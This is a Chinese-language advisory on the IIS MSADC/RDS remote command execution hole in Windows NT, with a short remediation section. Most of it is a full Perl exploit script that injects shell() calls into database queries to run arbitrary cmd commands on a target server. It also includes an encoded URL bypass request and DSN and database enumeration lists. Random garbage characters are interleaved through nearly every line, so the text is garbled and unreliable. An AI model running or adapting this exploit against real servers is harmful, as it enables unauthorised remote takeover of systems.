IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
uaaf9SL? ywOmQcZ 涉及程序:
xz8G}Ku Microsoft NT server
FIS "Z( l[oe*aYN7 描述:
Lc|{aN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P6.!3%y q*bt4,D&Es 详细:
tb,9a!? 如果你没有时间读详细内容的话,就删除:
P\AqpQv c:\Program Files\Common Files\System\Msadc\msadcs.dll
t+O e)Ns 有关的安全问题就没有了。
,:UX<6l
R q_sEw~~@! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
%m`zWg- lI6W$V\, 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
&n>7Ir 关于利用ODBC远程漏洞的描述,请参看:
L=]p_2+ xzr<k Sp http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [pL*@9Sa& O%&cE*eX 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
L5f$TLw
h; http://www.microsoft.com/security/bulletins/MS99-025faq.asp :RiF3h( FshC )[w, 这里不再论述。
2 x32U
MD _~&9*D$
{> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
DZk1ZLz f@d9Hqr+l; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
yQ%"U^.m 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
nxfoWy ~8{sA5y O m9jtWk #将下面这段保存为txt文件,然后: "perl -x 文件名"
gi$XB}L+X RgZOt[!. #!perl
\k; n20\u #
e;h,V( # MSADC/RDS 'usage' (aka exploit) script
.T8K-<R #
2+Yb
7 uI, # by rain.forest.puppy
t7*#[x)a #
3{ "O,h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.3X Y&6 # beta test and find errors!
A
gWPa.'3 I2[]A,f, use Socket; use Getopt::Std;
`
>U?v getopts("e:vd:h:XR", \%args);
cG_Vc[ q.W>4 k print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rt}^4IqL a
<wL#Id if (!defined $args{h} && !defined $args{R}) {
{v,)G)obWw print qq~
-c+]Wm"\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
i=#F)AD^5# -h <host> = host you want to scan (ip or domain)
!OAvD# -d <seconds> = delay between calls, default 1 second
%u!b& 5]e -X = dump Index Server path table, if available
!MV@)
(. -v = verbose
W5 ec -e = external dictionary file for step 5
#|f~s FFvCi@oT Or a -R will resume a command session
*x(Jq?5O7X >2lwWXA ~; exit;}
pj8azFZ g7n" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?fK1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
BC7 7<R!E) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\Y5W!.(%w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q-_' W, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Z
a(|(M H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/tj$luls5 z9
($. if (!defined $args{R}){ $ret = &has_msadc;
uM S*(L_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
sn{tra Mu&x_&| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
y{=>$C[
. "cmd /c ";
ZA820A>2! $in=<STDIN>; chomp $in;
|5MbAqjzC $command="cmd /c " . $in ;
`^6 ,kI-c ~ap2m if (defined $args{R}) {&load; exit;}
75NRCXh.
AK@L32-S print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
."6[:MF &try_btcustmr;
lr3mE E=w3=\JP print "\nStep 2: Trying to make our own DSN...";
nc?B6IV &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
lm0N5(XP Tv$sqVe9 print "\nStep 3: Trying known DSNs...";
$[ z y &known_dsn;
wT_h!W $kPHxD!" print "\nStep 4: Trying known .mdbs...";
a9Y5 &known_mdb;
@_yoX(.E& ]l;*$2w) if (defined $args{e}){
1[PMDS_X print "\nStep 5: Trying dictionary of DSN names...";
a`c:`v2o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$B
.Qc!m |J>WC}g@n print "Sorry Charley...maybe next time?\n";
s V
}+eU exit;
:dnJY%/q bF-"tm ##############################################################################
VaLs`q&3> E6A/SVp sub sendraw { # ripped and modded from whisker
;['a sleep($delay); # it's a DoS on the server! At least on mine...
MesRa( my ($pstr)=@_;
,o#kRWRG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|i7a@'0) die("Socket problems\n");
8%:]W^ if(connect(S,pack "SnA4x8",2,80,$target)){
))T>jh select(S); $|=1;
WAPhv-6 print $pstr; my @in=<S>;
S#l5y%& select(STDOUT); close(S);
p]T"|! d return @in;
jvwwJ<K } else { die("Can't connect...\n"); }}
D E/:[' E"PcrWB& ##############################################################################
Xm!-~n@-m7 nJFg^s1 sub make_header { # make the HTTP request
egR-w[{ my $msadc=<<EOT
QlZ@ To POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^ c%N/V
\ User-Agent: ACTIVEDATA
T.:+3:8|F Host: $ip
B80aw>M Content-Length: $clen
e%O0hE Connection: Keep-Alive
ftbpqp' 01@t~v3!Z ADCClientVersion:01.06
md Gwh7/3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
zsQoU&D 5 l*=aMjd? --!ADM!ROX!YOUR!WORLD!
EqB)sK/3 Content-Type: application/x-varg
N{Qxq>6 G Content-Length: $reqlen
,xsH|xW ip:LcG t EOT
;;U:Jtn2 ; $msadc=~s/\n/\r\n/g;
9Kv|>#zff return $msadc;}
b[ w;i]2 !CY&{LEYn0 ##############################################################################
[iS$JG-
[2c{k sub make_req { # make the RDS request
1DJekiWf my ($switch, $p1, $p2)=@_;
(p)!Mq
"^ my $req=""; my $t1, $t2, $query, $dsn;
CI7A#
6- X$n(-65 if ($switch==1){ # this is the btcustmr.mdb query
4'>1HW $query="Select * from Customers where City=" . make_shell();
HIvZQQW| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)%Iv[TB[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,. EBOUW^ gFN9jM elsif ($switch==2){ # this is general make table query
uaPx" $query="create table AZZ (B int, C varchar(10))";
r6.d s^ $dsn="$p1";}
+cu^%CXT k!L@GQ elsif ($switch==3){ # this is general exploit table query
zTm]AG|0 $query="select * from AZZ where C=" . make_shell();
}
p:%[ $dsn="$p1";}
%&<LNEiUN B4H!5b elsif ($switch==4){ # attempt to hork file info from index server
t T%/r, $query="select path from scope()";
mEAXM1J| $dsn="Provider=MSIDXS;";}
qSU|= :l u5Uu~ elsif ($switch==5){ # bad query
HL K@xKD< $query="select";
BOVPKX $dsn="$p1";}
XP?rOOn
%yS3&Ju $t1= make_unicode($query);
b{7E;KyY, $t2= make_unicode($dsn);
19e8 $req = "\x02\x00\x03\x00";
$&I'o $req.= "\x08\x00" . pack ("S1", length($t1));
))h6~1` $req.= "\x00\x00" . $t1 ;
$7Jo8^RE $req.= "\x08\x00" . pack ("S1", length($t2));
LRb,VD:/Y $req.= "\x00\x00" . $t2 ;
pW\'ZRj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6QQfQ, return $req;}
u{H?4|'( kSncZ0K{ ##############################################################################
0ezYd S~o 6=GZLpv sub make_shell { # this makes the shell() statement
@ EuFJ=h return "'|shell(\"$command\")|'";}
eDKxn8+(H I27,mS+] ##############################################################################
g{k1&| >pL2*O^{9 sub make_unicode { # quick little function to convert to unicode
v6(E3)J7 my ($in)=@_; my $out;
F'RUel_% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>p\e0n return $out;}
1`0#HSO *Nb#W! ##############################################################################
z9/G4^qF Ka!I`Yf sub rdo_success { # checks for RDO return success (this is kludge)
p/6zEZ* my (@in) = @_; my $base=content_start(@in);
7j<e)" if($in[$base]=~/multipart\/mixed/){
m|tC24 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
UPU+ver return 0;}
}
l667N XKOUQc4!R ##############################################################################
Sb2v_o @exey sub make_dsn { # this makes a DSN for us
{^)70Vz>PE my @drives=("c","d","e","f");
K+\nC)oG print "\nMaking DSN: ";
R9vT[{!i foreach $drive (@drives) {
+!t} print "$drive: ";
{BBw$m, o my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l(W[_ D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@r^!{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C2U~=q>> $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0Wvq>R.(]7 return 0 if $2 eq "404"; # not found/doesn't exist
-XK0KYhgW if($2 eq "200") {
JNI>VP[c foreach $line (@results) {
x+5p1sv6 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
cc=gCE } return 0;}
[onqNp 0X|_^"! ##############################################################################
shC;hR&; c{#yx_)V& sub verify_exists {
v9RW5 my ($page)=@_;
gT+Bhr my @results=sendraw("GET $page HTTP/1.0\n\n");
NUJ~YWO; return $results[0];}
!eR3@%4 &-yGVx ##############################################################################
t@oK~ Nr 4'pS*v sub try_btcustmr {
Ds8
EMtS my @drives=("c","d","e","f");
\t4tiCw my @dirs=("winnt","winnt35","winnt351","win","windows");
M(q'%XL^ _W!p8cB foreach $dir (@dirs) {
F N[R(SLbL print "$dir -> "; # fun status so you can see progress
v`[Eb27W. foreach $drive (@drives) {
A1Y7;-D print "$drive: "; # ditto
.aOnGp $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4-Z()F $reqlenlen=length( "$reqlen" );
|+IZS/W" $clen= 206 + $reqlenlen + $reqlen;
V}w;Y?]J a l9.} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&p
UZDjo? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\$*$='6" else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
neF]=uCWnT mY!iu(R1 ##############################################################################
!G5a*8] iX{G]< n sub odbc_error {
&xZyM@ my (@in)=@_; my $base;
g&/p*c_ my $base = content_start(@in);
Mn: /1eY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-ZOBAG* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H&}ipaDO $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"I-
w $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n}-3o]ku return $in[$base+4].$in[$base+5].$in[$base+6];}
*~$~yM/~3U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_A_ A$N~9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DrW#v-d $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6$ Q,Y}j s Wjy6; ##############################################################################
uZKP"Oy ]LPQYL sub verbose {
vm23U^VJ my ($in)=@_;
>n5:1.g return if !$verbose;
eBN)g^ print STDOUT "\n$in\n";}
9<CG s3\ -5G)?J/* ##############################################################################
\6|/RFT 1{"llD sub save {
?z-}>$I; my ($p1, $p2, $p3, $p4)=@_;
^>4o$} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
OvL\u{(<F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%rKK[ close OUT;}
o@>? *= ER&UBUu" ##############################################################################
t6N*6ld2b ~89P[$6 sub load {
5__+_hO
;3 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:HViX:]H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+~Cy$MCX @p=<IN>; close(IN);
Fr?z" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e59dVFug.U $target= inet_aton($ip) || die("inet_aton problems");
P3tx|:gV print "Resuming to $ip ...";
G1T^a>tj4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Q'apG)0I if($p[1]==1) {
!v#xb3"/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
fg%&N2/(.B $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_,h@:Xij my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=(AtfW^H if (rdo_success(@results)){print "Success!\n";}
n_K~vD else { print "failed\n"; verbose(odbc_error(@results));}}
T>>YNaUL elsif ($p[1]==3){
\J^ if(run_query("$p[3]")){
2+8#H. print "Success!\n";} else { print "failed\n"; }}
y9Y1PH7G elsif ($p[1]==4){
]bCq=6ZKR if(run_query($drvst . "$p[3]")){
]
7;f?+ print "Success!\n"; } else { print "failed\n"; }}
kW=z+ exit;}
P%pp
)BS
}WFf''Z- ##############################################################################
}7<5hn E Zwt; d5U sub create_table {
D6D1S/:ij' my ($in)=@_;
Z~G my7h( $reqlen=length( make_req(2,$in,"") ) - 28;
PnT)LqEF $reqlenlen=length( "$reqlen" );
&FdWFt=X $clen= 206 + $reqlenlen + $reqlen;
gA#RM5x@ my @results=sendraw(make_header() . make_req(2,$in,""));
{Ng oYl return 1 if rdo_success(@results);
)+I.|5g my $temp= odbc_error(@results); verbose($temp);
ZBD;a;wx return 1 if $temp=~/Table 'AZZ' already exists/;
R_P}~l return 0;}
&Jc_Fc(M
-XoP ia2 ##############################################################################
ytEC GDaN sub known_dsn {
^[:9fs # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
W><Zn=G4)b my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
tEd.'D8 s "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
sf}Dh "banner", "banners", "ads", "ADCDemo", "ADCTest");
k4J8O3E 5R$G(Ap_ foreach $dSn (@dsns) {
i yYJR print ".";
Kz8:UG( next if (!is_access("DSN=$dSn"));
xk~IN%\ if(create_table("DSN=$dSn")){
Eq%@"-mo print "$dSn successful\n";
/ RZR} if(run_query("DSN=$dSn")){
fr6^nDY print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_Yb_D/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
~0"p*?^ N8cAqr ##############################################################################
5}ie]/[| = iB,["s sub is_access {
9D\4n my ($in)=@_;
~i'Nqe_ $reqlen=length( make_req(5,$in,"") ) - 28;
;Z[]{SQ $reqlenlen=length( "$reqlen" );
V5}nOGV9 $clen= 206 + $reqlenlen + $reqlen;
SD\=
m/W my @results=sendraw(make_header() . make_req(5,$in,""));
F7m?xy my $temp= odbc_error(@results);
ge3sU5iZ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>r/rc`Q return 0;}
XhzGLYb~I` Rn%N&1
Ef ##############################################################################
Ko>&)%))$X cNpe_LvW sub run_query {
4o:hyh my ($in)=@_;
R$kpiqK $reqlen=length( make_req(3,$in,"") ) - 28;
=tTqN+4 $reqlenlen=length( "$reqlen" );
2],_^XBvB $clen= 206 + $reqlenlen + $reqlen;
p4> $z& _ my @results=sendraw(make_header() . make_req(3,$in,""));
#h!*dj" return 1 if rdo_success(@results);
\/7i-B]G7 my $temp= odbc_error(@results); verbose($temp);
oz'\q0 return 0;}
Ey{%XR+*; 1iT\df ##############################################################################
23(=Xp3;> 73A)lU. sub known_mdb {
iJFs0?* my @drives=("c","d","e","f","g");
.ujT!{>v/ my @dirs=("winnt","winnt35","winnt351","win","windows");
yj6@7@l>A my $dir, $drive, $mdb;
rI$`9d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
57{oh") {)f~#37 # this is sparse, because I don't know of many
ExSe=4q# my @sysmdbs=( "\\catroot\\icatalog.mdb",
G}@#u9 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
j Ib "\\system32\\certmdb.mdb",
DH DZ_t: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
eg"Gjp-4= _zxLwU1(x my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4Q=ftY< "\\cfusion\\cfapps\\forums\\forums_.mdb",
>C WKH~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
egR9AEJvz "\\cfusion\\cfapps\\security\\realm_.mdb",
<<9Va. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
RIM`omM "\\cfusion\\database\\cfexamples.mdb",
nm$Dd~mxW1 "\\cfusion\\database\\cfsnippets.mdb",
Thy=yz;p "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$DFv30 f "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
QlFZO4 P3| "\\cfusion\\brighttiger\\database\\cleam.mdb",
+YOKA* "\\cfusion\\database\\smpolicy.mdb",
qJ!Z~-hS "\\cfusion\\database\cypress.mdb",
39U5jj7i "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
q"KnLA( "\\website\\cgi-win\\dbsample.mdb",
1RLY $M "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!U_K&f "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
sH,kW|D ); #these are just
1
"TVRb foreach $drive (@drives) {
=6FUNvP#8 foreach $dir (@dirs){
z><5R|Gf foreach $mdb (@sysmdbs) {
o{v&.z print ".";
+1C3`0( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+^aFs S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$VG*q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<[aDo%,A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
qpoV]#iW } else { print "Something's borked. Use verbose next time\n"; }}}}}
%x;x_ =M 6[URZ foreach $drive (@drives) {
&MmU foreach $mdb (@mdbs) {
Hi!Jj print ".";
80}+MWdo if(create_table($drv . $drive . $dir . $mdb)){
"}WJd$ print "\n" . $drive . $dir . $mdb . " successful\n";
~Vh(6q.oT if(run_query($drv . $drive . $dir . $mdb)){
.Hhh i print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pN6%&@) = } else { print "Something's borked. Use verbose next time\n"; }}}}
x"kjs.d7[< }
D\~zS`} -kz4FS ##############################################################################
{>3\N0e5 |s7`F% sub hork_idx {
)'4P.>!!aQ print "\nAttempting to dump Index Server tables...\n";
rsn.4P= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(w( $reqlen=length( make_req(4,"","") ) - 28;
RhI;;Y#@ $reqlenlen=length( "$reqlen" );
psh^MX)Q $clen= 206 + $reqlenlen + $reqlen;
yZ]:y-1 my @results=sendraw2(make_header() . make_req(4,"",""));
RT/o$$ if (rdo_success(@results)){
oq/G`{`\ my $max=@results; my $c; my %d;
{3a&1'a0g for($c=19; $c<$max; $c++){
A*h{Lsx; $results[$c]=~s/\x00//g;
*YTo{~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=d
2 r6%v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
MfF~8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
.%BT,$1K $d{"$1$2"}="";}
}TRAw#h foreach $c (keys %d){ print "$c\n"; }
F~#zxwd } else {print "Index server doesn't seem to be installed.\n"; }}
h+.{2^x =rA~7+} ##############################################################################
/gcEw!JS !2\ r LN sub dsn_dict {
V~DMtB7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Xm2\0=v5; while(<IN>){
8VG!TpX/B $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-W{DxN1 next if (!is_access("DSN=$dSn"));
hD,:w%M if(create_table("DSN=$dSn")){
in <(g@Zg print "$dSn successful\n";
$\o{_?}1 if(run_query("DSN=$dSn")){
DDT_kK; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xp'_%n~K@ print "Something's borked. Use verbose next time\n";}}}
;rI@*An print "\n"; close(IN);}
5V[oE\B ulT8lw=' ##############################################################################
WFR?fDtE ^VW
PdH/Fe sub sendraw2 { # ripped and modded from whisker
UrlM%Jnq1 sleep($delay); # it's a DoS on the server! At least on mine...
S0h'50WteJ my ($pstr)=@_;
A,CW_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f|A
riM die("Socket problems\n");
6h?gs"[j if(connect(S,pack "SnA4x8",2,80,$target)){
CfEmT8sa print "Connected. Getting data";
CHd9l]Rbe open(OUT,">raw.out"); my @in;
I3 =#@2 select(S); $|=1; print $pstr;
X5fmz%VK@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
HjvCujJ close(OUT); select(STDOUT); close(S); return @in;
_$NIp `d } else { die("Can't connect...\n"); }}
mvW% w&$d* E ##############################################################################
#&<)! YY5 \]Kh[z0" sub content_start { # this will take in the server headers
$CTSnlPq my (@in)=@_; my $c;
*b *G2f^ for ($c=1;$c<500;$c++) {
682Z}"I0 if($in[$c] =~/^\x0d\x0a/){
eg<bi@C1| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\}6;Kf}\ else { return $c+1; }}}
3<=,1 cU return -1;} # it should never get here actually
k 4/D8(OXw @WH@^u ##############################################################################
]$ afC!Z G CRz<)1 sub funky {
-U~ my (@in)=@_; my $error=odbc_error(@in);
`.x$7!zLC if($error=~/ADO could not find the specified provider/){
.Xm(D>>k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O1%pxX'`S exit;}
!Bz0^1,L if($error=~/A Handler is required/){
U<"WK"SM print "\nServer has custom handler filters (they most likely are patched)\n";
gK#mPcn^ exit;}
EcIE~qs if($error=~/specified Handler has denied Access/){
t$2_xX print "\nServer has custom handler filters (they most likely are patched)\n";
rqv))Zo` exit;}}
{l_{T4xToB NW~z&8L ##############################################################################
c,so`I3rI u$%t)2+$4 sub has_msadc {
U<XSj#&8| my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*vgl*k?) my $base=content_start(@results);
A,su;Qh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
i'd2[A.7I return 0;}
KKA~#iCk |r
ue=QZ ########################
{NpM.; }'r[m5T !-s!f&_ 解决方案:
,1'4o3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
pZ`|iLNl- 2、移除web 目录: /msadc